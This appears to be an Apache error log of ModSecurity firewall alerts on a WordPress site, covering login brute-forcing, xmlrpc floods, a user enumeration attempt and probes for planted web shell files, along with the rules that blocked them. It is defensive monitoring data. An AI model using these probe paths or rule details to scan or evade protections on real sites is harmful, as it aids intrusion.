[Sat Jan 24 05:22:14.127183 2026] [:error] [pid 40903:tid 40958] [client 203.172.89.68:45750] [client 203.172.89.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.172.89.68, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPmhhxw3xvyqXTcGl-xsQAAAFM"]
[Sat Jan 24 05:22:16.082261 2026] [:error] [pid 40903:tid 40946] [client 203.172.89.68:45750] [client 203.172.89.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.172.89.68, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPmiBxw3xvyqXTcGl-xtQAAAEc"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 05:34:30.714602 2026] [:error] [pid 41009:tid 41014] [client 160.250.187.1:47032] [client 160.250.187.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.250.187.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPpZmrewfoFUDD3TM1pXgAAAMM"]
[Sat Jan 24 05:34:44.376314 2026] [:error] [pid 22900:tid 22921] [client 160.250.187.1:33356] [client 160.250.187.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.250.187.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPpdFr6h1PpdlYV7gUdiAAAARI"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 05:38:01.842795 2026] [:error] [pid 22900:tid 22925] [client 179.176.229.205:49597] [client 179.176.229.205] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aXPqOVr6h1PpdlYV7gUe4AAAARY"]
[Sat Jan 24 05:40:10.004412 2026] [:error] [pid 40902:tid 40913] [client 179.176.229.205:51250] [client 179.176.229.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.176.229.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXPqugSCceZpurDgOesGQgAAAAE"]
[Sat Jan 24 05:41:55.980300 2026] [:error] [pid 40905:tid 40971] [client 179.176.229.205:51984] [client 179.176.229.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.176.229.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXPrI13rUAneNkh7mXD3XgAAAIU"]
[Sat Jan 24 05:43:42.663566 2026] [:error] [pid 40905:tid 40988] [client 179.176.229.205:52752] [client 179.176.229.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.176.229.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXPrjl3rUAneNkh7mXD4AQAAAJY"]
[Sat Jan 24 05:45:26.444004 2026] [:error] [pid 41009:tid 41026] [client 179.176.229.205:54034] [client 179.176.229.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.176.229.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXPr9mrewfoFUDD3TM1sxgAAAM8"]
[Sat Jan 24 05:47:08.029684 2026] [:error] [pid 40905:tid 40990] [client 179.176.229.205:55191] [client 179.176.229.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.176.229.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXPsXF3rUAneNkh7mXD45AAAAJg"]
[Sat Jan 24 05:57:36.030160 2026] [:error] [pid 22900:tid 22917] [client 190.210.78.158:40236] [client 190.210.78.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.210.78.158, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPu0Fr6h1PpdlYV7gUnEgAAAQ4"]
[Sat Jan 24 05:57:38.001880 2026] [:error] [pid 22900:tid 22908] [client 190.210.78.158:40236] [client 190.210.78.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.210.78.158, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPu0lr6h1PpdlYV7gUnEwAAAQU"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 06:07:34.653707 2026] [:error] [pid 40902:tid 40929] [client 66.175.44.32:39354] [client 66.175.44.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.175.44.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXPxJgSCceZpurDgOesMcAAAABE"]
[Sat Jan 24 06:09:40.695443 2026] [:error] [pid 41009:tid 41015] [client 103.90.232.170:35124] [client 103.90.232.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.90.232.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPxpGrewfoFUDD3TM10DQAAAMQ"]
[Sat Jan 24 06:09:42.573621 2026] [:error] [pid 41009:tid 41022] [client 103.90.232.170:35124] [client 103.90.232.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.90.232.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPxpmrewfoFUDD3TM10EwAAAMs"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 06:52:28.510375 2026] [:error] [pid 41009:tid 41013] [client 185.181.252.23:33966] [client 185.181.252.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.181.252.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXP7rGrewfoFUDD3TM2FzgAAAMI"]
[Sat Jan 24 07:28:39.289132 2026] [:error] [pid 40903:tid 40945] [client 160.25.7.215:44510] [client 160.25.7.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.25.7.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXQEJxxw3xvyqXTcGl_RKwAAAEY"]
[Sat Jan 24 07:31:53.248979 2026] [:error] [pid 22900:tid 22912] [client 54.78.115.243:53930] [client 54.78.115.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.78.115.243, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXQE6Vr6h1PpdlYV7gVFRgAAAQk"]
[Sat Jan 24 07:31:55.045695 2026] [:error] [pid 22900:tid 22918] [client 54.78.115.243:53930] [client 54.78.115.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.78.115.243, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXQE61r6h1PpdlYV7gVFTAAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 07:40:32.949037 2026] [:error] [pid 40905:tid 40990] [client 192.250.229.33:48506] [client 192.250.229.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.229.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXQG8F3rUAneNkh7mXAX1AAAAJg"]
[Sat Jan 24 07:57:09.991669 2026] [:error] [pid 40903:tid 40958] [client 157.15.40.93:51748] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "aXQK1Rxw3xvyqXTcGl_ZLAAAAFM"]
[Sat Jan 24 07:57:12.090316 2026] [:error] [pid 40905:tid 40990] [client 157.15.40.93:51844] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/txets.php"] [unique_id "aXQK2F3rUAneNkh7mXAc0AAAAJg"]
[Sat Jan 24 07:57:16.048301 2026] [:error] [pid 41009:tid 41016] [client 157.15.40.93:52021] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/txets.php"] [unique_id "aXQK3GrewfoFUDD3TM2h5gAAAMU"]
[Sat Jan 24 07:57:16.623673 2026] [:error] [pid 41009:tid 41024] [client 157.15.40.93:52206] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "aXQK3GrewfoFUDD3TM2h7QAAAM0"]
[Sat Jan 24 07:57:17.200824 2026] [:error] [pid 22900:tid 22919] [client 157.15.40.93:52285] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/schallfuns.php"] [unique_id "aXQK3Vr6h1PpdlYV7gVOUQAAARA"]
[Sat Jan 24 07:57:17.778450 2026] [:error] [pid 40903:tid 40957] [client 157.15.40.93:52361] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/postnews.php"] [unique_id "aXQK3Rxw3xvyqXTcGl_ZSgAAAFI"]
[Sat Jan 24 07:57:18.359088 2026] [:error] [pid 40902:tid 40926] [client 157.15.40.93:52471] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/postnews.php"] [unique_id "aXQK3gSCceZpurDgOesqEgAAAA4"]
[Sat Jan 24 07:57:19.934169 2026] [:error] [pid 41009:tid 41029] [client 157.15.40.93:52555] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/postnews.php"] [unique_id "aXQK32rewfoFUDD3TM2iBgAAANI"]
[Sat Jan 24 07:57:20.510791 2026] [:error] [pid 41009:tid 41019] [client 157.15.40.93:52875] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/postnews.php"] [unique_id "aXQK4GrewfoFUDD3TM2iCgAAAMg"]
[Sat Jan 24 09:02:45.988876 2026] [:error] [pid 40903:tid 40941] [client 170.205.31.138:51782] [client 170.205.31.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-confiq.php"] [unique_id "aXQaNRxw3xvyqXTcGl_spAAAAEI"]
[Sat Jan 24 09:07:28.235420 2026] [:error] [pid 40902:tid 40934] [client 35.233.86.203:28594] [client 35.233.86.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.233.86.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXQbUASCceZpurDgOes8ogAAABY"]
[Sat Jan 24 09:07:30.014910 2026] [:error] [pid 40902:tid 40926] [client 35.233.86.203:28594] [client 35.233.86.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.233.86.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXQbUgSCceZpurDgOes8pQAAAA4"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 09:19:52.489418 2026] [:error] [pid 41009:tid 41028] [client 47.242.167.96:34194] [client 47.242.167.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.242.167.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXQeOGrewfoFUDD3TM3GMgAAANE"]
[Sat Jan 24 10:55:39.665995 2026] [:error] [pid 40903:tid 40953] [client 167.86.70.33:33046] [client 167.86.70.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.86.70.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXQ0qxxw3xvyqXTcGl8OTQAAAE4"]
[Sat Jan 24 11:32:48.164702 2026] [:error] [pid 60761:tid 60769] [client 60.188.57.0:57528] [client 60.188.57.0] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXQ9YFZQvxLvEbXXh9L_HQAAAUU"]
[Sat Jan 24 12:40:15.123356 2026] [:error] [pid 60761:tid 60787] [client 43.157.153.236:39850] [client 43.157.153.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXRNL1ZQvxLvEbXXh9IQawAAAVc"]
[Sat Jan 24 14:16:28.398624 2026] [autoindex:error] [pid 41009:tid 41015] [client 207.180.246.239:55318] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Jan 24 16:20:07.242668 2026] [:error] [pid 60761:tid 60777] [client 89.252.169.182:50284] [client 89.252.169.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.252.169.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXSAt1ZQvxLvEbXXh9JB_QAAAU0"]
[Sat Jan 24 16:29:42.382438 2026] [:error] [pid 14976:tid 14982] [client 66.175.44.35:42378] [client 66.175.44.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXSC9mvdigydYOB2KS8opAAAAYQ"]
[Sat Jan 24 16:29:44.152541 2026] [:error] [pid 14976:tid 14984] [client 66.175.44.35:42378] [client 66.175.44.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXSC-GvdigydYOB2KS8opgAAAYY"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 16:47:06.355125 2026] [:error] [pid 22900:tid 22909] [client 213.32.29.234:24168] [client 213.32.29.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.32.29.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXSHClr6h1PpdlYV7gXbuwAAAQY"]
[Sat Jan 24 17:45:51.501676 2026] [:error] [pid 41009:tid 41028] [client 205.196.217.56:46628] [client 205.196.217.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 205.196.217.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXSUz2rewfoFUDD3TM19sAAAANE"]
[Sat Jan 24 18:13:05.767410 2026] [:error] [pid 40902:tid 40926] [client 209.235.136.137:43134] [client 209.235.136.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.235.136.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXSbMQSCceZpurDgOevRWQAAAA4"]
[Sat Jan 24 18:13:09.077300 2026] [:error] [pid 40905:tid 40976] [client 209.235.136.137:36836] [client 209.235.136.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.235.136.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXSbNV3rUAneNkh7mXCxFQAAAIo"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 18:27:18.696205 2026] [:error] [pid 41009:tid 41018] [client 195.251.38.53:41170] [client 195.251.38.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.251.38.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXSehmrewfoFUDD3TM2LugAAAMc"]
[Sat Jan 24 18:55:44.600193 2026] [:error] [pid 40903:tid 40959] [client 43.135.140.225:44926] [client 43.135.140.225] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXSlMBxw3xvyqXTcGl-S_wAAAFQ"]
[Sat Jan 24 19:09:49.652490 2026] [:error] [pid 40905:tid 40980] [client 195.251.38.53:55658] [client 195.251.38.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.251.38.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXSofV3rUAneNkh7mXC77QAAAI4"]
[Sat Jan 24 20:09:44.249699 2026] [:error] [pid 60761:tid 60777] [client 89.252.169.182:45792] [client 89.252.169.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.252.169.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXS2iFZQvxLvEbXXh9JxFAAAAU0"]
[Sat Jan 24 20:11:26.489628 2026] [:error] [pid 40903:tid 40959] [client 205.196.217.56:33908] [client 205.196.217.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.196.217.56, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXS27hxw3xvyqXTcGl-j_wAAAFQ"]
[Sat Jan 24 20:11:29.720189 2026] [:error] [pid 40903:tid 40958] [client 205.196.217.56:33908] [client 205.196.217.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.196.217.56, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXS28Rxw3xvyqXTcGl-kFQAAAFM"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 21:36:18.561913 2026] [:error] [pid 41009:tid 41013] [client 104.28.246.114:56134] [client 104.28.246.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aXTK0mrewfoFUDD3TM3GlAAAAMI"]
[Sat Jan 24 21:36:19.191665 2026] [:error] [pid 14976:tid 14986] [client 104.28.214.114:24552] [client 104.28.214.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/style.php"] [unique_id "aXTK02vdigydYOB2KS919gAAAYg"]
[Sat Jan 24 21:36:20.610507 2026] [:error] [pid 40905:tid 40967] [client 104.28.246.114:56135] [client 104.28.246.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/style.php"] [unique_id "aXTK1F3rUAneNkh7mXDT4QAAAIE"]
[Sat Jan 24 21:36:22.041373 2026] [:error] [pid 40905:tid 40980] [client 104.28.246.114:56142] [client 104.28.246.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/style.php"] [unique_id "aXTK1l3rUAneNkh7mXDT4gAAAI4"]
[Sat Jan 24 22:29:19.573929 2026] [:error] [pid 40903:tid 40954] [client 8.210.217.227:42824] [client 8.210.217.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.210.217.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXTXPxxw3xvyqXTcGl--lQAAAE8"]
